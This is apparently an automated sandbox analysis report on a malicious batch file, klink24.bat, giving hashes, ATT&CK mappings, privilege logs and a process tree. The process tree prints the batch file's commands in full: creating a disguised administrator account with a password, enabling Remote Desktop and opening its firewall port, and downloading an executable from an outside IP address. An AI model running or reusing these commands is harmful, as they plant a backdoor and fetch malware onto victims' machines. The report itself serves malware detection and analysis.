d51b466d9bd852e4b463096b9a922fe9e06e75e1258d274b576103498e578c01

Analysis

max time kernel
198s
max time network
147s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11-10-2023 20:31

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General

Target

klink24.bat
Size

1KB
MD5

81b71168a37befd2646587909efa050b
SHA1

965a0db15b5cf77ea3c285d4f49d41b92a3d364d
SHA256

d51b466d9bd852e4b463096b9a922fe9e06e75e1258d274b576103498e578c01
SHA512

55e5a056d70b6799600c28d084593cdbde2eab836b33024d458f00971f03a87a076b760ee6b21913523996d20b695bc7f024eb59e46c03aa253708e5fd62339b

Score

9^/10

evasion

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
2472	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1608	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2540	WMIC.exe
Token: SeSecurityPrivilege	2540	WMIC.exe
Token: SeTakeOwnershipPrivilege	2540	WMIC.exe
Token: SeLoadDriverPrivilege	2540	WMIC.exe
Token: SeSystemProfilePrivilege	2540	WMIC.exe
Token: SeSystemtimePrivilege	2540	WMIC.exe
Token: SeProfSingleProcessPrivilege	2540	WMIC.exe
Token: SeIncBasePriorityPrivilege	2540	WMIC.exe
Token: SeCreatePagefilePrivilege	2540	WMIC.exe
Token: SeBackupPrivilege	2540	WMIC.exe
Token: SeRestorePrivilege	2540	WMIC.exe
Token: SeShutdownPrivilege	2540	WMIC.exe
Token: SeDebugPrivilege	2540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2540	WMIC.exe
Token: SeRemoteShutdownPrivilege	2540	WMIC.exe
Token: SeUndockPrivilege	2540	WMIC.exe
Token: SeManageVolumePrivilege	2540	WMIC.exe
Token: 33	2540	WMIC.exe
Token: 34	2540	WMIC.exe
Token: 35	2540	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2540	WMIC.exe
Token: SeSecurityPrivilege	2540	WMIC.exe
Token: SeTakeOwnershipPrivilege	2540	WMIC.exe
Token: SeLoadDriverPrivilege	2540	WMIC.exe
Token: SeSystemProfilePrivilege	2540	WMIC.exe
Token: SeSystemtimePrivilege	2540	WMIC.exe
Token: SeProfSingleProcessPrivilege	2540	WMIC.exe
Token: SeIncBasePriorityPrivilege	2540	WMIC.exe
Token: SeCreatePagefilePrivilege	2540	WMIC.exe
Token: SeBackupPrivilege	2540	WMIC.exe
Token: SeRestorePrivilege	2540	WMIC.exe
Token: SeShutdownPrivilege	2540	WMIC.exe
Token: SeDebugPrivilege	2540	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2540	WMIC.exe
Token: SeRemoteShutdownPrivilege	2540	WMIC.exe
Token: SeUndockPrivilege	2540	WMIC.exe
Token: SeManageVolumePrivilege	2540	WMIC.exe
Token: 33	2540	WMIC.exe
Token: 34	2540	WMIC.exe
Token: 35	2540	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2524	WMIC.exe
Token: SeSecurityPrivilege	2524	WMIC.exe
Token: SeTakeOwnershipPrivilege	2524	WMIC.exe
Token: SeLoadDriverPrivilege	2524	WMIC.exe
Token: SeSystemProfilePrivilege	2524	WMIC.exe
Token: SeSystemtimePrivilege	2524	WMIC.exe
Token: SeProfSingleProcessPrivilege	2524	WMIC.exe
Token: SeIncBasePriorityPrivilege	2524	WMIC.exe
Token: SeCreatePagefilePrivilege	2524	WMIC.exe
Token: SeBackupPrivilege	2524	WMIC.exe
Token: SeRestorePrivilege	2524	WMIC.exe
Token: SeShutdownPrivilege	2524	WMIC.exe
Token: SeDebugPrivilege	2524	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2524	WMIC.exe
Token: SeRemoteShutdownPrivilege	2524	WMIC.exe
Token: SeUndockPrivilege	2524	WMIC.exe
Token: SeManageVolumePrivilege	2524	WMIC.exe
Token: 33	2524	WMIC.exe
Token: 34	2524	WMIC.exe
Token: 35	2524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2524	WMIC.exe
Token: SeSecurityPrivilege	2524	WMIC.exe
Token: SeTakeOwnershipPrivilege	2524	WMIC.exe
Token: SeLoadDriverPrivilege	2524	WMIC.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2796	2636	cmd.exe	29
PID 2636 wrote to memory of 2796	2636	cmd.exe	29
PID 2636 wrote to memory of 2796	2636	cmd.exe	29
PID 2796 wrote to memory of 2540	2796	cmd.exe	30
PID 2796 wrote to memory of 2540	2796	cmd.exe	30
PID 2796 wrote to memory of 2540	2796	cmd.exe	30
PID 2796 wrote to memory of 2528	2796	cmd.exe	31
PID 2796 wrote to memory of 2528	2796	cmd.exe	31
PID 2796 wrote to memory of 2528	2796	cmd.exe	31
PID 2636 wrote to memory of 2516	2636	cmd.exe	33
PID 2636 wrote to memory of 2516	2636	cmd.exe	33
PID 2636 wrote to memory of 2516	2636	cmd.exe	33
PID 2516 wrote to memory of 2524	2516	cmd.exe	34
PID 2516 wrote to memory of 2524	2516	cmd.exe	34
PID 2516 wrote to memory of 2524	2516	cmd.exe	34
PID 2516 wrote to memory of 2536	2516	cmd.exe	35
PID 2516 wrote to memory of 2536	2516	cmd.exe	35
PID 2516 wrote to memory of 2536	2516	cmd.exe	35
PID 2636 wrote to memory of 2364	2636	cmd.exe	36
PID 2636 wrote to memory of 2364	2636	cmd.exe	36
PID 2636 wrote to memory of 2364	2636	cmd.exe	36
PID 2364 wrote to memory of 3044	2364	net.exe	37
PID 2364 wrote to memory of 3044	2364	net.exe	37
PID 2364 wrote to memory of 3044	2364	net.exe	37
PID 2636 wrote to memory of 2916	2636	cmd.exe	38
PID 2636 wrote to memory of 2916	2636	cmd.exe	38
PID 2636 wrote to memory of 2916	2636	cmd.exe	38
PID 2916 wrote to memory of 2884	2916	net.exe	39
PID 2916 wrote to memory of 2884	2916	net.exe	39
PID 2916 wrote to memory of 2884	2916	net.exe	39
PID 2636 wrote to memory of 3012	2636	cmd.exe	40
PID 2636 wrote to memory of 3012	2636	cmd.exe	40
PID 2636 wrote to memory of 3012	2636	cmd.exe	40
PID 3012 wrote to memory of 2340	3012	net.exe	41
PID 3012 wrote to memory of 2340	3012	net.exe	41
PID 3012 wrote to memory of 2340	3012	net.exe	41
PID 2636 wrote to memory of 2232	2636	cmd.exe	42
PID 2636 wrote to memory of 2232	2636	cmd.exe	42
PID 2636 wrote to memory of 2232	2636	cmd.exe	42
PID 2636 wrote to memory of 2472	2636	cmd.exe	43
PID 2636 wrote to memory of 2472	2636	cmd.exe	43
PID 2636 wrote to memory of 2472	2636	cmd.exe	43
PID 2636 wrote to memory of 1608	2636	cmd.exe	44
PID 2636 wrote to memory of 1608	2636	cmd.exe	44
PID 2636 wrote to memory of 1608	2636	cmd.exe	44

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\klink24.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2540
- - C:\Windows\system32\find.exe
    Find "="
    3⤵
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\system32\find.exe
    Find "="
    3⤵
    PID:2536
- C:\Windows\system32\net.exe
  net user Defender-Update defen2!AW7W21 /add /expires:never
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Defender-Update defen2!AW7W21 /add /expires:never
    3⤵
    PID:3044
- C:\Windows\system32\net.exe
  net localgroup Administrators Defender-Update /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators Defender-Update /ADD
    3⤵
    PID:2884
- C:\Windows\system32\net.exe
  net localgroup "Remote Desktop Users" Defender-Update /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Remote Desktop Users" Defender-Update /ADD
    3⤵
    PID:2340
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:2232
- C:\Windows\system32\netsh.exe
  netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
  2⤵
  - Modifies Windows Firewall
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell iwr http://78.47.123.155:8233/klink.exe -OutFile c:\programdata\klink.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1608-6-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/1608-7-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/1608-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1608-9-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1608-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1608-12-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1608-10-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1608-13-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/1608-14-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download